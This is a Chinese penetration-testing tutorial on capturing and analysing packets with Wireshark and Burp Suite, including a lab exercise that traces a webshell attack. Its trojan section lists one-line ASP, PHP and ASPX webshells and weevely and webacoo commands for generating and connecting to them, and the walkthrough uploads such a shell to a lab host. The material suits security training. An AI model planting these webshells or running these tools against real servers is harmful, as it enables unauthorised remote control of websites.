渗透测试——二、黑客实践之抓包分析

渗透测试

  • 一、Wireshark抓取网络数据包
    • 1、知识准备
      • 1.1 TCP/IP协议
      • 1.2 Wireshark软件
    • 2、Wireshark抓取ICMP协议包
    • 3、Wireshark抓取TCP协议包
    • 4、Wireshark抓取HTTP包
  • 二、Wireshark分析黑客攻击包
    • 1、知识准备
      • 1.1 HTTP中的get和post方法
      • 1.2 计算机中的木马
    • 2、对黑客攻击包分析
      • 2.1 分析目标主机IP地址
      • 2.2 分析攻击机的IP地址
      • 2.3 分析攻击机上传木马后请求的信息
  • 三、Burp Suite抓包与改包
    • 1、知识准备
      • 1.1 Burp Suite介绍
      • 1.2 Burp Suite功能模块
    • 2、Burp Suite进行暴力破解

一、Wireshark抓取网络数据包

1、知识准备

1.1 TCP/IP协议

TCP/IP(Transmission Control Protocl/Internet Protocol,传输控制协议/网际协议) 是指能够在多个不同网络间实现信息传输的协议簇,它是现实中用户的实际通信协议。TCP/IP协议不是指TCP和IP两个协议,而是指一个由 FTP、SMTP、TCP、UDP、IP 等协议构成的协议簇。
TCP/IP协议参考了OSI/RM(开放系统连参考模型) 的体系结构,如图3-1-1所示。OSI/RM 模型共有七层,从下到上分别是物理层、数据链路层、网络层、传输层、会话层、表示层和应用层。在 TCP/IP 协议中,它们被简化为四个层次。
渗透测试——二、黑客实践之抓包分析_第1张图片

  • 1、应用层、表示层、会话层三个层次提供的服务相差不是很大,所以在 TCP/IP 协议它们被合并为应用层一个层次。
  • 2、由于传输层和网络层在网络协议中的地位十分重要,所以,在TCP/IP 协议中它们被作为独立的两个层次。
  • 3、因为数据链路层和物理层的内容相差不多,所以在TCP/IP 协议中它们被归并在网络接口层一个层次里。

与有七层体系结构的OSI/RM 相比,只有四层体系结构的TCP/IP 协议要简单得多,也正是这样,TCP/IP 协议在实际的应用中效率更高,成本更低。
分别介绍TCP/IP 协议中的四个层次。
应用层:应用层是 TCP/IP 协议的第一层,是直接为应用进程提供服务的。

  • 1、对不同种类的应用程序,它们会根据自己的需要来使用应用层的不同协议,邮件传输应用使用了SMTP协议、万维网应用使用了HTTP 协议、远程登录服务应用使用了 Telnet 协议。
  • 2、应用层还能加密、解密、格式化数据。
  • 3、应用层可以建立或解除与其他节点的联系,这样可以充分节省网络资源。

传输层: 作为TCP/IP 协议的第二层,传输层在整个 TCP/IP 协议中起到了中流砥的作用。
网络层: 网络层在TCP/IP 协议中位于第三层。在TCP/IP 协议中,网络层可以进行网络连接的建立和终止,以及IP 地址的寻找等。
网络接口层: 在TCP/IP协议中,网络接口层位于第四层。由于网络接口层兼并了物理层和数据链路层,所以网络接口层既是传输数据的物理媒介,也可以为网络层提供一条准确无误的线路。
TCP/IP各层有着不同的协议,如网络层的ICMP 协议负责网络连通性的测试 (ping命令,用于传递在主机和路由器之间的控制信息,ARP (ARAP) 协议负责将物理地址与地址相互转化;传输层的 TCP 协议提供面向连接、可靠、基于字节流通信方法,UDP 协提供无连接发送封装的 IP 数据包的方法;应用层的 HTTP 协议提供简单网页请求响应协议FTP 协议提供文件的传输服务,Telnet 协议提供远程登录服务等,应用层的不同协议对应传输层的不同端口,这在之前的章节已经介绍。

1.2 Wireshark软件

Wireshark (前称 Ethereal) (图3-1-2)是个网络封包分析软件。网络封包分析软件的功能是截取网络封包,并尽可能显示出最为详细的网络封包信息。
渗透测试——二、黑客实践之抓包分析_第2张图片
Wireshark 功能界面如图3-1-3 所示

  • 1、Display Filter (显示过滤器): 用于过滤。
  • 2、Packet List Pane(封包列表):显示捕获到的封包有源地址和目标地址、端口号
  • 3、Packet Details Pane (封详细信息)显示封包中的字段
  • 4、Dissector Pane (16 进制数据)。
  • 5、Miscellanous (地址栏)。

渗透测试——二、黑客实践之抓包分析_第3张图片
过滤数据包同时也尤为重要,打开过滤器的方式:

  • 单击主界面上的显示过滤器
  • 单击Capture->Capture Filters,设置捕捉过滤器

汪意,捕捉过滤器仅支持协议过滤,显示过滤器既支持协议过滤,也支持内容过滤,两种过滤器支持的过滤语法并不一样。
以下是过滤表达式规则:
1、显示过滤器。对捕捉到的数据包依据协议或包的内容进行过滤。语法见表3 -1-1。

语法 Protocol String1 String2 Comparison operator Value Logical Operations Other expression
例子 http request method == “POST” or icmp.type

String1和String2 是可选的依据协议过滤时,可直接通过协议来进行过滤,也能依据协议的属性值进行过滤。
按协议进行过滤时,snmpldns icmp 显示SNMP或 DNS或ICMP 封包。按协议的属性值进行过滤:

ip. addr ==10.1.1.1
ip. src!=10. 1.2.3 or ip. dst! = 10.4.5.6
ip.src==10.230.0.0/16,显示来自10.230 网段的封包
tcp.port ==25,显示来源或目的TCP端口号为25的封包
tcp.dstport ==25,显示目的TCP 端口号为25 的封包。
http.request.method =="POST”,显示 post 请求方式的 http 封包。
http.host =="tracker 1ting. com",显示请求的域名为 tracker.1ting. com 的 http 封包
tcp.flags.syn ==0x02,显示包含TCP SYN标志的封包。

2、捕获过滤器。捕捉前依据协议的相关信息进行过滤设置。语法见表3 -1-2

语法 Protocol String1 String2 Comparison operator Value Logical Operations Other expression
例子 tcp dst 10.1.1.1 80 and Tcp dst 10.2.2.2 3128

示例:

(host 10.4. 1. 12 or src net 10.6.0. 0/16) and tcp dst portrange 200 - 10000 and dst net).0.0.0/8

捕捉IP为10.4.1.12 或者源IP 位于网络10.6.0.0/16,目的IP的TCP 端口号在200~000之间,并且目的IP位于网络 10000/8内的所有封包。
字段详解:
Protocol (协议):

可能值有 ether、fddi ip、arp、rarp、decnet、lat、sca、moprc、mopdl、tcp and udp。
如果没指明协议类型,则默认为捕捉所有支持的协议。
注:在Wireshark的HELP-Manual Pages - Wireshark Filter中查到其支持的协议。
Drection (方向):
可能值有 src、dst、sre and dst、src or dst。
如果没指明方向,则默认使用“src or dst”作为关键字
“host 10.2.2.2”与“src or dst host 10.2.2.2”等价。
Host(s):
可能值有 net、port、host、portrange。
默认使用“host”关键字,“sre 10.1.1.1”与“src host 10.1.1.1”等价。
Logical Operations (逻辑运算);
可能值有not、and、ot。
否(“not”) 具有最高的优先级;或 (“or”) 和与 (“and”) 具有相同的优先级,运算时从左至右进行。
“not tcp port 3128 and tcp port 23”“ (not tcp port 3128) and tcp port 23”等价
“not tcp port 3128 and tcp pot 23”“not ( tcp port 3128 and tcp port 23)”不等价

2、Wireshark抓取ICMP协议包

ICMP (Intermet Control Message Protocol);Internet 控制报文协议。它是TCP/IP 协议簇的一个子协议,用于在IP 主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。如图3-1-4 所示,在资料文件夹中打开Wireshark 工具。单击“WiesharkPortable”,如图3-1-5所示,这时会显示监听到的所有网卡的数据包流量。
渗透测试——二、黑客实践之抓包分析_第4张图片
单击“VMware Network Adapter VMnet8”,如图3-1-6所示,启动抓包。在物理机念令行输人 ping命令,测试与虚拟机的连通性,单击“停止抓包”命令。
在“Protocol”选项下,单击 ICMP 协议,分析数据包结构,可以看到 TCP/IP 模型中的物理层、数据链路层、网络层及协议层的相关内容。其中ICMP 协议包包含的参数项有类型Type)、代码 (Code)、校验和(Checksum)、序列号(Sequence number)、数据(Data等。图3-1-7中ICMP包中 type 为8 说明是回复包,code 为0说明是相通的应答状态。
渗透测试——二、黑客实践之抓包分析_第5张图片

3、Wireshark抓取TCP协议包

传输控制协议 (Transmission Control Protocol,TCP) 是一种面向连接的、可靠的、基于字节流的传输层通信协议。马买
如图3-1-8所示,TCP协议保证网络可靠连接。在连接建立前,需要服务器端和客户端进行三次握手:

  • 1、客户端发送SYN (SEO=x) 报文给服务器端,进入 SYN_SEND 状态。
  • 2、服务器端收到SYN 报文,回应一个SYN (SEQ=y)-ACK (ACK =x+1) 报文,进入SYN_RECV 状态。
  • 3、客户端收到服务器端的SYN 报文,回应一个 ACK (ACK =y+1) 报文,进入 Established 状态。

三次握手完成,TCP客户端和服务器端成功建立连接,可以开始传输数据了断开连接时,需要进行四次握手:

  • 1、某个应用进程首先调用 close,称该端执行“主动关闭” (active close)。该端的TCP于是发送一个 FIN分节,表示数据发送完毕。
  • 2、接收到这个FIN 的对端执行“被动关闭”(passive close),这个FIN由TCP确认。

注意:FIN的接收也作为一个文件结束符 (end-of-le)传递给接收端应用进程,放在已排队等候该应用进程接收的任何其他数据之后,这是因为FIN的接收意味着接收端应用进程在相应连接上再无额外数据可接收。

  • 3、一段时间后,接收到这个文件结束符的应用进程将调用 close 关闭它的套接字,这导致它的 TCP 也发送一个FIN。
  • 4、接收这个最终 FN 的原发送端 TCP (即执行主动关闭的那一端 确认这个 FIN。
    渗透测试——二、黑客实践之抓包分析_第6张图片
    以下通过 Wireshark 抓包来看一下TCP协议建立连接的三次握手。
    在搜索框中输入“tcp”,这时会看到TCP协议通信的三次握手情况,其中首次通信时发送的 SYN 数据包具体结构所示,其中包含源端口号目标端口号、序列号、控制位、校验和等。
    渗透测试——二、黑客实践之抓包分析_第7张图片

4、Wireshark抓取HTTP包

HTTP 协议是 TCP/IP 中的高层协议,它是一个简单的请求 -响应协议,通常用于网站访问。它指定了客户端可能发送给服务器什么样的消息及得到什么样的响应。本案例抓取一个HTTP 包,如图3-1-12 所示。可见HTTP 协议运行在TCP 之上,并且客户端发送的内容是明文显示的,很容易被黑客知道。
启动 Wireshark 软件抓取本地访问网站的数据包 (HTTP 包)
渗透测试——二、黑客实践之抓包分析_第8张图片
渗透测试——二、黑客实践之抓包分析_第9张图片

二、Wireshark分析黑客攻击包

1、知识准备

1.1 HTTP中的get和post方法

超文本传输协议 (HTTP)的设计目的是保证客户机与服务器之间的通信。HTTP 的工作方式是客户机与服务器之间的请求 -应答协议。Web 浏览器可能是客户端,而计算机上的网络应用程序也可能作为服务器端。在客户机和服务器之间进行请求 -响应时,两种最常被用到的方法是 get和 post。
get:从指定的资源请求数据
post:向指定的资源提交要被处理的数据
(1) get方法
查询字符串(名称/值对)是在 get 请求的URL中发送的形式为:网页url变量=值。
get 查询的值。要查询的值会在 URL中明文显示get 方法有如下特点:

  • 1、get 请求可被缓存。
  • 2、get 请求保留在浏览器历史记录中
  • 3、get 请求可被收藏为书签。
  • 4、get 请求不应在处敏感数据时使用
  • 5、get 请求有长度限制。
  • 6、get 请求只应当用于取回数据。

(2) post 方法
查询字符串(名称/值对)是在 post 请求的 HTTP 消息主体中发送的。
post 方法传递的变量不会在 URL 显示出来,但可以通过抓包显示,如本项目任务一中的图3-1-2 所示。
post 方法有如下特点:

  • 1、post 请求不会被缓存
  • 2、post 请求不会保留在浏览器历史记录中
  • 3、post 不能被收藏为书签。
  • 4、post 请求对数据长度没有要求

(3)比较get与post

比较选项 get post
后退按钮/刷新 数据不改变 数据会被重新提交(浏览器应该告知用户数据会被重新提交)
书签 可收藏为书签 不可收藏为书签
缓存 能被缓存 不能被缓存
编码类型 application/x - www - form - urlencoded application/x - www - form - urlencoded 或 multi-part/form- data。为二进制数据使用多编码
历史 参数保留在浏览器历史中 参数不会保存在浏览器历史中
对数据类型的限制 当发送数据时,get方法向URL添加数据,URL的长度是受限制的(URL的最大长度是2048个字符) 无限制
对数据类型的限制 只允许ASCII字符 没有限制,也允许二进制数据
安全性 与post 相比get的安全性较差,因为所发送的数据是URL的一部分。在发送密码或其他敏感信息时,绝不要使用get post 比get 更安全,因为参数不会被保存在浏览器历史或 Web 服务器日志中
可见性 数据在URL中对所有人都是可见的 数据不会显示在URL中

1.2 计算机中的木马

木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除,件、发送密码、记录键盘和攻击 DOS 等特殊功能的后门程序。木马病毒其实是计算机黑客用于远程控制计算机的程序,将控制程序寄生于被控制的计算机系统中,里应外合,对被感染木马病毒的计算机实施操作。一般的木马病毒程序主要是寻找计算机后门,伺机窃取被控计算机中的密码和重要文件等。可以对被控计算机实施监控、资料修改等非法操作。木马病毒具有很强的隐蔽性,可以根据黑客意图突然发起攻击。
一句话木马是最简单的木马程序,它短小精悍,功能强大,隐蔽性好,在人侵中始终扮演着强大的作用。当木马被上传到目标网站后,可以利用“中国菜刀”等连接工具连接网站后台,实现进一步的渗透操作。常见的一句话木马根据不同的网页设计语言如下:
ASP 一句话木马:

<execute(request("value"))>

PHP一句话木马:

<php @ eval($_POST[value]);>

ASPX一句话木马:

<%@ Page Language="Jscript">
<eval( Request.Item "value"])>

其他一句话木马:

<eval request("value")>
<execute request("value")>
<execute(request("value"))>
<If Request("value")<> n Then Execute(Request("value"))>
<if request ("value") <>"then session( "value") =request("value"end if;if session("value")<> then execute session("value" %>
<SCRIPT language = VBScript runat = "server" > execute request( "value"</SCRIPT >
<@ Page Language="Jscript">
<eval(Request,Item  "value" ,"unsafe">

此外,在 Kali Linux 中也有网页木马工具:

名称 生成木马 向网站连接木马
webacoo webacoo -g - o a. php webacoo -t -u http://127.0.0.1/a. php
weevely weevely generate < password > 1. php weevely http://127.0.0. 1/1. php < password >

Kali Linux中的 Msfvenom 工具也是制作木马常用工具。

2、对黑客攻击包分析

首先,我这里先使用中国菜刀weevely生成木马来上传到靶场win7:

weevely generate 8888 /root/88.php

渗透测试——二、黑客实践之抓包分析_第10张图片
将88.php上传到win7上:
渗透测试——二、黑客实践之抓包分析_第11张图片
连接木马:

weevely http://192.168.217.143/88.php 8888

渗透测试——二、黑客实践之抓包分析_第12张图片

2.1 分析目标主机IP地址

渗透测试——二、黑客实践之抓包分析_第13张图片
首先我们可以看到133与143进行了三次握手,然后133去访问了143,http,说明143在提供网页服务,同时80端口开放,所以,143就是目标主机。

2.2 分析攻击机的IP地址

在 Wireshark 搜索框尝试输入“ip.src =192.168.217.143and ip.dst =192.168.217.133 and http”会发现只有 192.168.217.133 与目标主机并进行了post 传值,所以192.168.217.133是攻击机。
渗透测试——二、黑客实践之抓包分析_第14张图片

2.3 分析攻击机上传木马后请求的信息

查看攻击机的post数据包信息,即可看到以下内容:
渗透测试——二、黑客实践之抓包分析_第15张图片

三、Burp Suite抓包与改包

1、知识准备

1.1 Burp Suite介绍

Burp Suite 是用于攻击 Web 应用程序的集成台,如图3-3-1所示。它包含了许多Burp 工具,这些不同的 Burp 工具通过协同工作,有效地分享信息,支持以某种工具中的信息为基础供另一种工具使用的方式发起攻击。这些工具设计了许多接口,以加快攻击应用程序的过程。所有的工具都共享一个能处理并显示 HTTP 消息、持久性、认证、代理、日志警报、可扩展的框架。它主要用来做安全性渗透测试。
渗透测试——二、黑客实践之抓包分析_第16张图片

1.2 Burp Suite功能模块

如图3-3-2所示,Burp Suite 提供了很多功能模块,具体描述如下:

  • 代理(Proxy);是一个拦截 HTTPS 请求的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许拦截、查看、修改在两个方向上的原始数据流。
  • 爬虫 (Spider): 是一个应用智能感应的网络爬虫,它能完整地枚举应用程序的内容和功能。
  • 扫描(Scanner[仅限专业版]):是一个高级的工具,执行后,它能自动地发现 Web应用程序的安全漏洞。
  • 测试器(Intruder):是一个定制的高度可配置的工具,对Web 应用程序进行自动化攻击,例如,枚举标识符、收集有用的数据,以及使用 Fuzzing 技术探测常规漏洞。
  • 重发器 (Repeater):是一个靠手动操作来补发单独的HTTP 请求,并分析应用程序响应的工具。
  • 定序器 (Sequencer):是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
  • 编码器 (Decoder):是一个进行手动执行或对应用程序数据者智能解码、编码的工具。
  • 对比器(Comparer):是一个实用的工具,通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。

BurpSuite的使用和配置在项目一的任务二中已经介绍。

2、Burp Suite进行暴力破解

使用Burp Suite进行暴力破解详细内容见:
https://blog.csdn.net/weixin_63172698/article/details/132601765?spm=1001.2014.3001.5502

你可能感兴趣的:(渗透测试,安全,服务器,php,mysql,数据库,Wireshark,TCP)